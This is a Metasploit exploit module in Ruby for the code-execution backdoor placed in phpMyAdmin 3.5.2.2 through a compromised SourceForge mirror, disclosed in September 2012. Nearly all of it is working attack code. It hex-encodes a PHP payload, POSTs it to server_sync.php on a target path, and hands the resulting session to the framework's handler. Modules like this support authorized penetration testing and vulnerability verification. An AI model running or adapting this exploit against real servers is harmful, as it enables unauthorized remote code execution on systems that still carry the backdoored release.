phpMyAdmin 3.5.2.2 - 'server_sync.php' Backdoor (Metasploit)

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
			'Description'    => %q{
					This module exploits an arbitrary code execution backdoor
				placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					# Arbitrary big number. The payload gets sent as an HTTP
					# response body, so really it's unlimited
					'Space'       => 262144, # 256k
				},
			'DefaultOptions' =>
				{
					'WfsDelay' => 30
				},
			'DisclosureDate' => 'Sep 25 2012',
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget' => 0))

		register_options([
			OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
		], self.class)
	end

	def exploit

		uris = []

		tpath = datastore['PATH']
		if tpath[-1,1] == '/'
			tpath = tpath.chop
		end

		pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")

		res = send_request_raw( {
			'global'  => true,
			'uri'     => tpath + "/server_sync.php",
			'method'  => 'POST',
			'data'    => pdata,
			'headers' => {
				'Content-Type'   => 'application/x-www-form-urlencoded',
				'Content-Length' => pdata.length,
			}
		}, 1.0)

		handler
	end
end